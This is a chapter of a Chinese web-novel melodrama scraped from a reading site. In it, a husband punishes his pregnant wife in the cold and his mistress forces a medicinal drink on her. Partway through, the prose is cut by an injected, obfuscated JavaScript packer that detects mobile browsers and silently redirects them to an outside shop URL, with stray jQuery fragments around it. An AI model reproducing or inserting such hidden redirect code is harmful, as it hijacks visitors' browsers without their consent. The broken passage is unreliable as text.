文趣网 > 其他小说 > 绝症死遁后,渣总他夜夜哭坟 > 第84章 救救我们的孩子
    陈姨吓了一跳:“先生,这……这天这么冷,少奶奶还怀着……”

    “脱!”顾瑾辞暴怒打断,“她怀的是野种,就算流产了也是活该!雪儿肚子里怀的才是顾家的继承人。”

    “她既然想害雪儿,那就得付出代价!”

    陈姨不敢违抗,颤抖着上前剥掉了谢语棠御寒的外套。

    谢语棠只穿着一件单薄的雪白衬衫和长裤,寒意瞬间顺着脚底板直冲天灵盖。

    顾瑾辞负手站在她对面,居高临下。

    “认个错,我就让你进去。”

    他的语气听起来甚至带着一丝施舍的意味,仿佛只要她低头这一切都能翻篇。

    谢语棠抬眼看他。

    月光落在她脸上,那张脸冷得没有一丝温度。

    “认什么错?”

    “你心里清楚。”顾瑾辞的下颌线绷得很紧,“你害雪儿差点小产,这件事你不认,今晚就别想进屋。”

    风又起了,谢语棠的睫毛被吹得微微发颤。她就那么笔直地站着,像一棵不肯弯腰的树。

    顾瑾辞看着她这副油盐不进的模样,心头那股邪火又往上蹿。

    他这辈子,从没在一个女人身上栽过这么大的跟头。

    林雪儿乖巧,温顺,他说什么就是什么。

    可这个谢语棠怎么就这么硬?越是这样,他越想把她那身傲骨彻底踩碎,然后让她从内到外完全服从于他。

    “我再问你最后一遍。”他一字一顿,“认,还是不认?”

    谢语棠忽然笑了。

    那笑意很淡,却让顾瑾辞莫名觉得刺眼。

    “顾瑾辞,我没做过的事,我不认。哪怕你让我站到天亮,我也不认!”

    空气仿佛凝固了一瞬。

    “好。”

    他从牙缝里挤出一个字,转头看向陈姨。

    “去打一桶凉水来。”

    陈姨整个人都僵住了。

    “顾……顾先生?”

    “没听见?”顾瑾辞的声音冷得像冰,“我说,打一桶凉水来浇她头上。我倒要看看,她这骨头能硬到几时。”

    陈姨的腿肚子直打转。

    她偷看了一眼站在风里的谢语棠,又看了看顾瑾辞那张铁青的脸,扑通一下就跪了下来。

    “先生,使不得啊!”

    “这大冷天的,少奶奶还怀着身子,这冷水一浇下去……万一出了人命,这可是要担干系的呀!”

    顾瑾辞的脚步顿了顿。

    人命两个字,到底还是让他迟疑了。

    不是心软。

    而是顾家这阵子刚从**的泥潭里爬出来,经不起再折腾。

    要是谢语棠真死在顾家,那他这些日子的努力就全白费了。

    他眉头紧锁,一时竟有些骑虎难下。

    就在这时,林雪儿披着一件厚实的羊绒披肩走了过来,脸上是恰到好处的担忧。

    “顾哥哥……”她的声音又软又糯,“语棠姐她……毕竟也怀着孩子呢。万一真出了事,外面那些人又该说你的闲话了。”

    林雪儿咬着唇,似乎在挣扎,半晌才怯生生地开口。

    “要不……给她也喝一碗安胎药吧?”

    “这样就算她身子受了凉,肚子里的孩子也能稳住,不会出事。”

    这番话说得入情入理,顾瑾辞紧绷的脸色稍稍缓和。

    他低头看了一眼谢语棠。

    女人依旧站得笔直,仿佛这一切都与她无关。

    那副天塌下来都不眨眼的样子,让他心里说不出的烦躁。

    “行。”他冷声开口,“去拿药。”

    林雪儿应了一声,转身进了屋。

    不多时,她端着一只白瓷碗下了楼。

    碗里的药汁黑得发亮,热气腾腾,那股苦涩的味道隔着老远就钻进了鼻子。

    她走到谢语棠面前,脸上是楚楚可怜的关切,眼底却藏着毫不掩饰的快意。

    “语棠姐,喝了吧。”

    “这是陈医生开的安胎药,对你和孩子都好。”

    谢语棠垂眸看着那碗药。

    黑黢黢的药汁里,倒映出林雪儿那张得意的脸。

    她忽然觉得有些好笑,林雪儿不会以为这样自己就赢了吧?

    可她不知道。

    这碗药,谢语棠等了很久了。

    她摸了摸平坦的腹部,悼念起早就没了的孩子。

    对不起,原谅妈妈利用你。

    妈妈必须要这么做。

    只有这样,才能为你报仇,才能让顾瑾辞往后余生都为你的死而忏悔。

    “我不喝。”

    谢语棠偏过头,语气平淡得没有一丝波澜。

    林雪儿等的就是这句话。

    她立刻转身,对顾瑾辞露出一个无可奈何的表情。

    “顾哥哥你看,我都说是为她好了,她还是不领情……”

    “她这是宁愿让孩子冻出毛病,也要跟你赌气呢。”

    顾瑾辞的脸彻底阴鸷了下去,周身散发着令人窒息的戾气。

    “灌。”

    冰冷的一声令下,判了她的**。

    林雪儿狞笑着,林雪儿的眼神瞬间变得凌厉起来。

    粗鲁地捏住谢语棠的下巴,使她不得不张开嘴,滚烫而腥苦的药汁瞬间排山倒海般灌入喉咙,如烈火般灼烧着食道。

    “唔……咳!”谢语棠痛苦地瞪大眼睛,生理性的泪水夺眶而出,肺部像要炸开一般。<b

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17759674|209585||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    r>

    最后她狼狈地瘫坐在地上,咳得撕心裂肺。

    然而尽管如此,她也没有求饶。

    只是死死盯着那个负手立在光影暗处的男人,任由那穿肠般的痛楚在体内蔓延,连同她卑微的爱意一起被呛咳得支离破碎。

    林雪儿凑在她耳边,声音压得极低,只有两个人能听见。

    “谢语棠,这就是和我作对的下场。”

    “在这个家里,你斗不过我的。”

    谢语棠又咳了几下,在抬眼的瞬间却突然对她笑了一下,眼神像是猎人看着自投罗网的猎物。

    林雪儿莫名心头一寒,下意识地后退了半步。

    谢语棠踉跄了一下,扶住身旁的石桌才勉强站稳。

    就在这时,她忽然“嘶”地倒抽一口冷气,整个人弓了起来,双手死死捂住小腹。

    冷汗瞬间从她额头上沁了出来。

    “你……你装什么装!”林雪儿被她这突如其来的反应吓了一跳,色厉内荏地喊道。

    谢语棠没有回答。

    她疼得脸色惨白,嘴唇抖得说不出一句完整的话,只能蜷着身子,一点点滑坐到冰冷的地砖上。

    顾瑾辞皱起眉。

    林雪儿见状,赶紧扑到他怀里。

    “顾哥哥,你别被她骗了!”

    “她就是想博你的同情!她这肚子里怀的是野种,巴不得借着这个由头讹你呢!”

    顾瑾辞的视线落在地上那个蜷缩成一团的女人身上。

    那道目光像是在审视一件赝品,冷静,又带着几分不易察觉的迟疑。

    记忆里,那张总是冷漠平静的脸,此刻却疼得变了形。

    眉头死拧着,额角沁出的冷汗顺着鬓发往下淌,连嘴唇都失了血色,抖得不成样子。

    这不像装的。

    可林雪儿那句“野种”,又像一根淬了毒的刺,狠狠扎进了他心里。

    他薄唇紧抿,喉结滚动了一下。

    眼底翻涌着挣扎、怀疑,还有一丝连他自己都不愿承认的动摇。

    良久,他终是冷哼了一声,硬生生将那点动摇压了下去,移开了视线。

    “起来。”

    他居高临下地俯视着地上的谢语棠,声音里没有一丝温度,冷得像是腊月里的寒风。

    “装得再像也没用。”

    “今晚你必须把错认了,否则就一直在这院子里待着。”

    谢语棠缓缓抬起头。

    她疼得连呼吸都是断断续续的,每一次吸气都像是有刀子在小腹里搅。

    “顾……瑾辞。”

    她一个字一个字地往外蹦,每一个字都浸着汗。

    “救……”

    “救救我们的孩子……”